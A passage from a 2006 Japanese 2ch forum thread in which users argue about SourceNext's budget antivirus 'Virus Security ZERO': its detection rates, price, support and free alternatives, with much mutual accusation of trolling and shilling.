ラグナロクに至ってはソフト自体が起動→即落ちな有り様で、、
アンインスコすると問題なく起動&プレイできるんです。
でも、673さんはプレイ出来てるみたいだから家の環境が
悪いぽいなあ、、
os入れ直すか〜(´・ω・`)

700 :名無しさん@お腹いっぱい。:2006/08/15(火) 22:31:35
どこをどう見ても694より695のが、おかしい文だがな
無理するなよ


701 :名無しさん@お腹いっぱい。:2006/08/15(火) 22:33:07
>>680
ソフトウェア版に来なせえ。なんぼかマシだから。
信者もアンチもウザくてここじゃまともに議論できないよ。

702 :名無しさん@お腹いっぱい。:2006/08/15(火) 22:36:35
>>700
50っぽ100っぽw

703 :名無しさん@お腹いっぱい。:2006/08/15(火) 22:59:26
自社のソフトの被害者をアンチと呼ぶスレはここですね?お話になりませんね
こっちに来たらいいらしいですよ。テンプレで既にウイルスセキュリティは地雷になってるし、評判も悪いですが
お話にはなってるんじゃないですか?あくまでここと比べて、ですが

つ【1980円】ソースネクスト! Part8【価格破壊】
  http://pc7.2ch.net/test/read.cgi/software/1149851425/


704 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:11:17
VSのいまのバージョンって9.0.0086だよね?

705 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:17:14
>>699
うーむ、ウチは両方プレイ出来てるなぁ
しかしノートンは入れた事無いので、何かそれの残り物が当たってるのかな。
特にROはnProtectってのが使われだしてからノートンとはすこぶる相性が
悪い。OS入れなおした方が早そうだね・・・

706 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:27:21
>>704
ソースっよ。

707 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:28:57

新たにアマゾンでの絶賛レビューが増えてる件について

708 :704:2006/08/15(火) 23:31:14
>>706
よかった、ありがとう。
サポートページだと9.0.0085のままだったから・・・

709 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:33:03
>>707
どうでもいいよ。
気に入らないなら批判でも書いて来い。


710 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:34:28
>>703
意味不明
まるで、各板が荒れるのを望んでいるようだが?
これがアンチの目的としたら、相当に悪質と言わざるを得ない

711 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:36:13
>>708
サポートページは、更新が遅い時が多いから気にしない方がいいよ。

712 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:41:30
よくこんな糞ソフトPCに組めますね^^

713 :名無しさん@お腹いっぱい。:2006/08/15(火) 23:46:19
>>712
一度使ったら

714 :704:2006/08/15(火) 23:49:35
>>711
そうします。

715 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:07:21
無料のAVG、Avast、AntiVirより検出率が悪い有料アンチウィルスソフトとか
存在自体が罪だよな

716 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:07:39
>>712
おまえ性格悪くて友達とかいないだろ?
VSは糞だけど、おまえはVS以上の糞だよ^^

717 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:09:09
>>715
人が何を買って使おうが放っておけよ。寂しいのか?

718 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:11:40
>>716
確かに>>712は糞だけど
お前もVSが糞という理由ぐらい言えよ。

719 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:12:31
>>718
フリー以下だから

720 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:16:21
>>718
NINTENDOに駄目だしされてるから。

721 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:21:20
>>718
低価格で性能が良くて悔しいから。

722 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:22:27
>>718
・よくトラブルが起きるのに、「再インスコして」としかサポートしないから
・サポートの言うとおり再インスコしても解決しないから

723 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:25:18
>>718
https://www.sourcenext.com/faq/action/faqdetails?kind=technical&no=VS-00491
サイトが常にこんな状態だから

724 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:27:13

叩いても叩いても、売り上げは落ちず・・・

725 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:29:41
アンチもネタ作り大変だな。

726 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:33:47
日本の3強アンチウイルスソフトになったから
叩くやつが出てくるさ

727 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:40:00
>>726
あ、個人向け、な。
法人ではウイルスセキュリティのシェアは1%もないから。
まぁ当たり前だけど。ソース自体が売ろうとしてないし。

728 :名無しさん@お腹いっぱい。:2006/08/16(水) 00:56:20
ソース自体が売りこんでも
法人で、責任を負う立場だったらこんなもの選ばないよ

729 :名無しさん@お腹いっぱい。:2006/08/16(水) 02:17:40
VSを叩く理由は何ですか?
1:VSが質の悪いソフトなので無垢な市民を啓蒙するため
2:ソースネクストに私怨があるのでとにかく普及は許せないため
3:他社の工作員であるため
4:煽りが好きなため
5:勢いのあるソフトに僻みがあるため
6:叩く事によって優越感を得たいため

730 :名無しさん@お腹いっぱい。:2006/08/16(水) 03:16:43
>>729
その勢いでVSを擁護する理由も列挙してくれ

731 :名無しさん@お腹いっぱい。:2006/08/16(水) 04:29:35
>>729
VSって質の悪いソフトなのですか?


732 :名無しさん@お腹いっぱい。:2006/08/16(水) 07:19:03
VSを擁護する理由は何ですか?
1:VSが価格の安いソフトなので価格重視の人には勧めたいから
2:ソースネクストに私怨がないのでとにかく過剰な中傷は許せないため
3:そこそこ自分は使えており必要以上のダメレッテルされているため
4:アンチの煽りが気に入らないため
5:使ってもいない人がこのソフトに対して好き勝手言うため
6:叩く事によって優越感を得たいに反感を持っているため


733 :名無しさん@お腹いっぱい。:2006/08/16(水) 08:38:11
>>732
このソフトが売れることによって他のセキュリティソフトが安くなることを期待して

734 :名無しさん@お腹いっぱい。:2006/08/16(水) 08:39:36
ノートンやバスターが適正価格ではないという意見ですかw

735 :名無しさん@お腹いっぱい。:2006/08/16(水) 08:44:48
>適正価格

こんなの人それぞれ
ノートンが高いと思ってこれ選ぶ人もいるし、
メインや仕事機にノートン入れて、遊び機にこれを入れる人もいる。
これに満足しない人は、高いのを選べばいい。でも執拗な荒らしは
やめてほしい!
それだけ

736 :名無しさん@お腹いっぱい。:2006/08/16(水) 08:59:25
>>735
なんだかアンチの邪魔になる発言はやめてくれといっているようだなあ

価格の議論はこのソフトについては非常に大事なことであるように思う
それをしては都合が悪い理由でもあるのか

737 :名無しさん@お腹いっぱい。:2006/08/16(水) 09:06:03
最近VSで検出したウイルス

2006-8-15 Trojan.HLLW.Antinny.a
2006-8-15 Trojan.HLLW.Antinny.j

738 :名無しさん@お腹いっぱい。:2006/08/16(水) 09:27:14
>>737
報告乙です。

739 :名無しさん@お腹いっぱい。:2006/08/16(水) 09:56:43
>>737
報告乙です。

http://7andy.yahoo.co.jp/books/detail?accd=31477734

http://www4.pf-x.net/~zot/av/detect060725.html

http://www.kokusen.go.jp/t_box/t_box.html





740 :名無しさん@お腹いっぱい。:2006/08/16(水) 10:09:30
>>736
自分は自作派ですがWindowsを例にあげるとOEM版ならXPのhomeが12000円くらいで買えます。
最初に組むパソコンの性能にもよりますが少なくとも3年通常は4-5年以上使用します。
仮に最短の3年として1年あたりOSが1年4000円です。
1年あたりがそれより安ければいいかなというのが実感です。

741 :名無しさん@お腹いっぱい。:2006/08/16(水) 10:47:22
自作とはいえ3年で買い替えとは金持ちですなあ
それは置いておきまして、たとえば絵を書きたいとか仕事でCADが必要だとかゲームがしたいとか目的があるソフトなら高くても必要ならば買う価格に見合わなければ買わないそういう選択になります
ただセキュリティソフトはそういうものではないはずです
ある意味OSでは足りないところを補完するソフトのはずです
ですからOSに匹敵する金額を最終的に支払う必要があるというのは価格としてかなり疑問を感じます

私自身が妥当と思う金額は毎年払うなら2000円、5年分一括払いなら6000円、この程度が妥当な金額だと考えます

742 :名無しさん@お腹いっぱい。:2006/08/16(水) 10:54:00
金がないならフリーを使えばいいじゃん

743 :名無しさん@お腹いっぱい。:2006/08/16(水) 10:56:16
個人ユーザーにVSは勧めないな
価格で言うならフリーで組んだほうが安い

初期費用無し。更新料無料。コスト 0円のセキュリティ

アンチウイルス:AntiVir, Avast, AVG
ファイアウォール:ZoneAlarm, Jetico, Kerio, Comodo
アンチスパイウェア:Spybot S&D, SpywareBlaster, Ad-aware SE, Windows Defender

性能面ではどうか言うと、やはりフリーの組合せの方が良い
価格も安く性能も良いフリーウェアによるセキュリティを個人ユーザーには勧める

サポート?
VSのサポートってどこまで親切にやってくれるの?

744 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:11:53
以前はアンチウイルスのフリーって ちょっとなあ という感じだったけど、
AntiVir、AVGなどがかなり強力に(例えばAntiVirは亀田ウィルスなどの新種の対応
の速さがノートン以上だったりする)なってるので、使用上不安はない。
不安といえばいつまでフリー対応するのかわからないというところか。
でもフリーで鍛えられて将来市場に展開するスタイルは評価されていいと思う。
最初から販売オンリーよりもね。

745 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:12:38
>>741
VSはダメ
これを書いときゃいいだろう

OS単体から考えるのはどうかな
大多数はパソコンをセットとして買うわけでOSの価格など意識しない
10万なら10万、20万なら20万を基準にメンテナンスのためのコストを考えるべきだ

746 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:30:18
お前と違って普通のユーザーはいちいち登録してフリー入れてる時間なんてないんだよ

747 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:33:45
大手は検出率を売りにして売り上げとシェアを伸ばしてきた。
VSは価格と軽さと巧みな広告で売り上げとシェアを伸ばしてきた。
ソースは経営的に良く言えば「うまい」悪く言えば「汚い」と言えるだろう。
VSがこのまま売り上げとシェアを伸ばして懐にも余裕が出てくれば、いよいよ検出率の上昇に着手するだろう。

748 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:45:40
>>746
試したこともないからわからんだろ?

749 :名無しさん@お腹いっぱい。:2006/08/16(水) 11:53:11
はっきり言って、VSが悪い、
ダメと執拗に連呼する奴にはいい加減辟易する。
そんなにフリーがいいなら、フリーを入れてここには来るなよ。
ここは、ダメと分かっていながらも一応工夫して使いたい奴が、
あれこれと手はないかと考えたい奴も結構来てるんだから。
VSはダメ!
だったら、このスレはそれ一行で終わるだろ?
もともとスレの意味もない。
使う気のある奴でお互いに話させてくれよ。

750 :名無しさん@お腹いっぱい。:2006/08/16(水) 12:40:05
>>749
嫌です。
VSが売れすぎてるせいで我が社の製品が売れなくなってしまいますから。

751 :名無しさん@お腹いっぱい。:2006/08/16(水) 12:43:43
>>743
>>722

752 :名無しさん@お腹いっぱい。:2006/08/16(水) 13:06:42
>>745
VSはダメ
私も一応書いておきます

そういう考えの人たちは多いと思います
ただねえ、その心理を利用して高値安定をしているような気もしますけどね
ビジネスだから仕方ないとはいえ妥当な金額ではなく一番利益が出る金額設定が今の値段だと言えるでしょうね

745さんが適正だと思う金額はいくらくらいでしょうか

753 :名無しさん@お腹いっぱい。:2006/08/16(水) 13:10:33
HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

754 :名無しさん@お腹いっぱい。:2006/08/16(水) 13:24:56
>>746
VSにはいちいち登録してインストールしなくても使えるのか

755 :名無しさん@お腹いっぱい。:2006/08/16(水) 13:59:14
745さんじゃないけど・・・

例えばトレンドマイクロ。

前期決算
売上高730億円
売上原価111億円
販売費、研究開発費および一般管理費343億円
営業利益275億円
売上高営業利益率37.67%

満足できる売上高営業利益率を10%程度とする(例えばトヨタ等は10%程度)。

売上高505億円
売上原価111億円
販売費、研究開発費および一般管理費343億円
営業利益51億円
売上高営業利益率10%

売上高730億円→505億円 30%減

ウイルスバスターパッケージ版6,825円は30%減の4,777円程度の販売も可能なのではないか。
ソースのコモディティー戦略、MSのウイルス対策サービスが質を高めてくると販売価格の値下げに追い込まれる可能性もあるのではないか。


※内容に間違いがあったらごめんね。

756 :名無しさん@お腹いっぱい。:2006/08/16(水) 13:59:25
そもそも店にパッケージを買いに行くのとダウンロードどっちが早いか

757 :名無しさん@お腹いっぱい。:2006/08/16(水) 14:02:28
>>755
そんなのイチイチ読んでねーけどどこの企業の商品だって同じだろ
なんでギリギリの価格で売らねばならないのか理由がない
売れなくなったら勝手に下げればいいだけの話なんじゃねーの

758 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:00:26
他のソフトが高すぎると感じるからVSが売れてる
コスト感覚に優れているユーザーはやがてフリーウェアの存在を知る
そしてVSからフリーウェアに切り替える
フリーウェアへの通過点としてVSの存在意義はありそうだな

759 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:19:04
VSはダメ

>>755
トレンドマイクロはトヨタほど設備投資に費用はかからないですから定価がそのレベルでも充分利益があがるでしょうね
ただし今のままの価格設定でも充分売れているわけですから日本では価格を下げたりはしないと思いますよ
米国ではシェアを取るためか日本より少し安い金額で売っていますからやる気が無いだけとも考えられます
興味があれば米アマゾンあたりでPC-cillinの価格を調べてみるのも面白いですよ

760 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:26:26
高い利益率。
信頼、ブランド力の表れ。
一方で、高いものを買わされていると見ることもできる。
それを解消しようとソースが挑戦中。

761 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:35:05
信頼もブランド力もサポート力ないソース。
価格でしか勝負していないが、それ以外に何が出来るのかは見物。

762 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:44:32
【他者を批判しようと考える前に、自分自身をゆっくり注意深く見つめるべきだ。】

 モリエール(1622-73):喜劇作家(フランス)


763 :名無しさん@お腹いっぱい。:2006/08/16(水) 15:48:27
エリエール ??

764 :名無しさん@お腹いっぱい。:2006/08/16(水) 16:30:18
安ければいいならフリーにかなうソフトはない。
ソースは何か勘違いしているのではないだろうか。


765 :名無しさん@お腹いっぱい。:2006/08/16(水) 17:33:36
>>752
Very Sick of ウイルスセキュリティ

実際に使うのは俺も4-5年だな
そんなに高いパソコンも買わないから10万くらい
その10%で1万強ぐらいかな
5年で1万なら1年が2000円
ちょっとましな昼飯の金額だな
仕方なく入れるソフトだしこんなものか

VSに1980円の価値があるとは思っていないから誤解しないようにな
せいぜい500円がいいところだ



766 :名無しさん@お腹いっぱい。:2006/08/16(水) 18:22:57
VSは自作PCでの使用はサポート出来ませんと言われるのが辛い。
いくら手間を避けたいとは言え、いい加減なサポート体制だよな。

767 :名無しさん@お腹いっぱい。:2006/08/16(水) 19:45:50
>自作PCでの使用はサポート出来ません

どのソフトに限らずえろゲームのマニュアルでも結構お目にかかるフレーズですな。
ま、それはともかく、
「当製品の発売日以降に発売されたソフトウェア及びハードウェア上での
動作保証はできません」
と記載されている例もある。
これって、事実上のサポート拒否では?

基本的に、PCの世界ってメーカー物を使うときでも「自己責任」と
心得た方がいいでしょう。初期不良を除いて。
あ、でもVSは根本的に製品がクズか・・・・・

768 :名無しさん@お腹いっぱい。:2006/08/16(水) 20:12:16
HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

769 :名無しさん@お腹いっぱい。:2006/08/16(水) 20:20:11
↑・・・・・で、マカフィーが一番と。
結局、マカフィーを買って欲しいわけですね?

770 :名無しさん@お腹いっぱい。:2006/08/16(水) 20:50:32
どうして糞とよぶようなセキュリティソフトのスレに粘着するのかわからない

771 :名無しさん@お腹いっぱい。:2006/08/16(水) 20:53:56
>>769
そんな端数関係あるか。個々で作ってるソフトなら全く同じになるわけないし。

ただVSだけ半分以下というところに注目しなければいけない。
制作側のやる気の無さと、ユーザーを舐めてる態度がよく分かるだろ?

VS支持者、もとい信者は踊らされてるだけなんだよ。感染しても気づかないウイルスもあるだろう、それでも一度も感染しないとか
安い!使いやすい!軽い!ってそりゃそうなるさ、スカスカだもん

772 :名無しさん@お腹いっぱい。:2006/08/16(水) 21:03:03
マカフィーがシェアーでVSに抜かれたので口惜しいのだろう。

773 :名無しさん@お腹いっぱい。:2006/08/16(水) 21:06:28

VS信者は驚速も入れてるんですか?

774 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:00:12
>>765
VS is Vest Software

http://japan.internet.com/ecnews/20060816/12.html
この記事を読まれましたか?
実勢価格20ドル弱ですから1ドル120円計算でも2400円
3台にインストールできますから1台あたり800円
日本で発売されたらこんなソフト吹っ飛んじゃいますね

Very Sick of ウイルスセキュリティってどういう意味ですか、調べたけれどわからなかった

775 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:00:17
ここで文句をたれている人間の大半はこの製品を使っていない

776 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:09:20
>>774
(^ω^) 夏にチョッキ(ベスト)は要らんがな

777 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:13:01
>>775
使ったことはあるが使い続けるのは無理
現ユーザーはシェアの半分もいってないし
誇大広告出すもんだから入れ代わりがすごく激しいソフト

778 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:17:37
>>774
キングと似たような値段だな
まぁキングやソースなんかと比較するとブランドと信頼性が桁外れだが

779 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:23:28
>>774
あはは英語に弱いみたいね

情報ありがとう、これじゃあVSでは太刀打ちできないな
それどころか大手がまとめてネットスケープにならないことを祈るだけだね

Very Sick of ウイルスセキュリティの意味が知りたければウイルスセキュリティのところになにか人名(Johnとかさ)をいれて翻訳にかければわかるよ
今日は遊んでくれてありがとう

780 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:24:32
>>774
日本ローカライズされた時点で日本市場用の価格になるソフトも多いけどな

781 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:26:39
>>774
> OneCare の対抗製品として、Symantec は『Norton 360』を、McAfee は『Total Protection』を準備中だ。

価格下げるのか?

782 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:35:35
ノートンは360円か・・・これは買いだな

783 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:36:11
>>779
こちらこそお付き合いいただきありがとうございました

私にとってVSの存在価値がほとんどなくなりましたのでこのスレを離れて英語の勉強を始めます

784 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:38:44
>>779
>>783
お前たち英語の勉強をする前にVSぐらい半角で打て。

785 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:45:55
VSを半角でVSとするとついバーサスと読んでしまうので悪しからずw

786 :名無しさん@お腹いっぱい。:2006/08/16(水) 22:57:33
では、V・Sでは?

787 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:07:41
V.S.でどうだ

788 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:09:38
一つ言えることは、
ソースネクストの
ウイルスセキュリティZEROは、
お手軽で
気軽で
軽快
な、初心者に優しいセキュリティソフトということだ。

ここに執拗に出没するセキュ厨房アンチは
邪な考え方で叩きたくてしょうがないようだが、
評価は世間が正しくしてくれているようだ。


789 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:19:23
軽いかわりにザルなアンチウィルスが初心者に優しいとはこれいかに
糞重いけど仕事はしっかりするノートンの方がまだマシ

790 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:28:30
>>788
検出率の低さをカバーしたいというのが見え見えのレスだなwww
そこに「他のソフトと同じくらいの検出率ならあります」程度の言葉を入れることが出来たら確かにすばらしいソフトだろう
初心者は何も知らずに買ってるんだから、初心者に優しいというより初心者にヒドイだろ。騙すのがうまいのは認めるが

>>789
ウィルス・・・

791 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:34:08
フリーのAVG以下の検出率って終わってるだろ

クラック版があっても使う気しないのに
誰が金払ってまで使うんだ

792 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:34:40

>他のソフトと同じくらいの検出率ならあります

補足情報

実用上は、他のソフトと同等の性能といって差し支えありません。
よく出回っている検体に対して十分な効果があります。
確率的には、殆ど驚異のないウイルスも珍しくありません。

通常の使用ではウイルスセキュリティZEROで十分です。
価格からしても、大変にオトクです。

793 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:37:41
でもライトユーザーがひっかかるWinAntiVirusに対応しない欠陥ソフト

794 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:37:45
アンチは>>747を恐れている。

795 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:39:01
確かにクラック版があっても使う気がしないというのはそうだな
まぁ簡単にクラックできるウイルスセキュリティもどうかと思うが
いやクラックというか、設計ミスというか・・・どうでもいいか、どうせ使わんのだから

796 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:40:18
>>794
韓国と同じこと言うなよ恥ずかしい
10年後には日本を追い越す、と10年前に言ってた
そうなってから言えと

797 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:40:36
ここで検出率がどうのとか、能書き言っているのも、
その内容についてはろくに理解していない馬鹿どもです。
その団体の出した数値こそ絶対と信じ込んでいます。
自分で実体験したわけでもありません。
自信がないから、同じことばかり繰り返すわけです。


実際には、検出で何ら遜色はないと言えましょう。
価格ほどの性能差は、実用上ほとんどありません。


798 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:41:53
>>792
>実用上は、他のソフトと同等の性能といって差し支えありません。
根拠を挙げろって
1万体とか2000体とかそういうのじゃなくて、それを検出できるという根拠がないんだが

799 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:42:55
VS自体がウイルスですね><

800 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:42:56
>>797
そりゃお前の戯れ言より世界的機関の結果の方が信頼あるに決まってるだろ

801 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:44:14

根拠にかかわらず、798は荒らしなので、
ウイルスセキュリティを使う可能性は0%

802 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:46:37
>>797
少なくともVB100%という指標の数字を出しているアンチ
それに対して一切根拠も数字も挙げられない信者

803 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:46:44
800なんかは、「権威」に弱い奴だな。
これでは、永遠にVSの真価は理解できないな。

804 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:47:52
VSは参加すらしていないw
Kingsoftもだけどな

VB100%, Jun 2006, Windows XP

合格 (19)
Alwil (avast!), Authentium, Avira (AntiVir), Computer Associates (Vet), Doctor Web, Eset,
F-Secure, Fortinet, GDATA, Grisoft (AVG), Kaspersky, McAfee, MicroWorld, Microsoft OneCare,
NWI, Norman, SOFTWIN (BitDefender), Sophos, Symantec

不合格 (7)
AEC, AhnLab, CAT QuickHeal, Central Command, FRISK, Hauri, VirusBuster

不参加 (14)
Aladdin Knowledge Systems, ArcaBit, Avira (formerly H+BEDV), BLC,
Computer Associates (eTrust/InoculateIT), GeCAD, Ggreat, Ikarus, Leprechaun,
Panda, Proland Software, Secure Resolutions, Trend Micro, Unasoft

805 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:48:01
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

806 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:48:03
>>792
>>771
> ただVSだけ半分以下というところに注目しなければいけない。
> 制作側のやる気の無さと、ユーザーを舐めてる態度がよく分かるだろ?

数字に出てるのにごまかすなよ。ウイルスセキュリティZEROで十分ってなんで安さに負けてセキュリティ面で
妥協しなきゃいけないんだよ。つーかオンラインスキャンしたら普通に何個か検出して>>797は実体験してないって
言ってるがいつの間に感染したのか分からないようなウイルスをごまかしてるだけだろ。ウイルスはウイルスなんだから
対応してるに越したことはないと思うのは俺だけか?
アンティニーに対応してるのにウィニーしようが通常の使い方じゃないとか言うのはなしだろ。でもP2P使ったら100%感染する
なんたって検出率が低いから

807 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:49:44
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

808 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:49:58
VSの真価www

809 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:50:30
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

810 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:50:49
別にアンチは、無理に使う必要はないんじゃあないか?

もともとそんな気もないみたいだし。
アンチには何も期待していないよ・・・
みなさん、ソースには期待してください!

811 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:52:13
>>804
参加拒否されたんだな

812 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:52:20
アンチは望みが高すぎるんだよ・・・・
一年あたり、300円のソフトに何を要求してんだか・・・・

813 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:52:31
アンチってかわいいな。
観察してるとおもしろい。

814 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:53:15
>>810
おいおい、マジ社員かよ。初仕事ですかお疲れ様です。
パッケージに文句言う人は使わないで下さいって注意書き書いといてくださいね
被害者の人がお怒りですよ

815 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:53:34
いつになったら数字と根拠を示してくれるんだろう
また今回も罵倒で逃げるつもりなのかな・・・

816 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:54:25

VSの真価とは……日本国内のPCセキュリティ低下に伴うボットネット市場の拡大

817 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:54:43
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

818 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:56:09
>>804
同じインド企業のCATも不合格だな
さすがにCAT使ってる人間は日本にはいないだろうけど

819 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:56:52
>>817
これ以上被害者を増やしたくないだけなので、こちらのことは放って置いてください

820 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:57:43
>>774
こりゃ原爆投下ですな
年内には日本でも発売みたいだからアンチだとか社員だとか言う前に終戦だな

http://japan.cnet.com/news/sec/story/0,2000056024,20201347,00.htm


流れを見ているとむりやり情報を流してしまいたい人もいるようだが玉音放送は何度でも流すからそのつもりで
それじゃあまた明日

821 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:57:52
無駄さ・・・・
アンチは、ウイルスセキュリティの改善向上など全く望んでいない。
ただ、ここでソフトを罵倒して、
自己満足し、楽しんでいるだけだ。

ソースやVSを糞というが、
奴らこそまさに人間のクズだ!!

822 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:58:27
せめてVB100くらいとってないと客に勧められないんだよな
ヘンなの勧めると店の評判落ちるしさ

823 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:59:57
>>821
なんでそんなことするのか考えたことある?
弱いものいじめってあるじゃん?それだよ
弱いもの=VS  弱いものを見てると無性にイライラする。だからいじめる
いじめられる方にも理由があるとよく小学校の先生は言う。

824 :名無しさん@お腹いっぱい。:2006/08/16(水) 23:59:59
アンチの叩きってソースから見たら「貴重なご意見・ご要望」だよね。
ソースが「貴重なご意見・ご要望」に応えていけば、アンチの叩きがVSをより強くするってことだよね。
アンチの叩きで課題はハッキリした。
検出率のアップ。
ソースも認識したと思う。
ソースはきっと対策考えてるんじゃないかな。

825 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:00:50
>>823
これが、アンチの正体を雄弁に語っている!!

826 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:01:54
・・・・・やはり、アンチは、クズだったか。
これでは話にならないね。

827 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:02:37
>>824
メールで直接検出率が低いって送ってもたいした返事は来ないけど?

828 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:02:55
>>817
悪いが俺は退場しないぞ。
毎年高い更新料を払っている自分が、如何に正しい判断
をしているか知らしめてやるから覚悟しておけよ。

829 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:03:30
>アンチの叩きってソースから見たら「貴重なご意見・ご要望」だよね。

バカの煽りは、わざわざ相手にしないだろう

830 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:04:01
そうだ!もっとウイルスセキュリティを普及させろ!
そして日本に巨大なボットネットを構築するのだ!

831 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:05:03
自分の非を認めて、それから言い訳はしてほしいなと高校の先生は言った
VSは認めるどころか何故そういうことを言われるのか考えもしないソフトウェア会社として崩壊している

832 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:05:28
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

833 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:07:17
>>832
お前の目はフシアナか?これが荒らしに見えるなんてな


834 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:07:52
大人しくマカフィーのOEMを販売してりゃよかったんだよ
マカフィーは検出率だけは一流だからな

835 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:08:02
fushianasan?

836 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:09:06
VS信者はエロゲと2ちゃんしかやらないからVSで十分なんだろ

837 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:09:56
アンチ=PCヲタってことか?

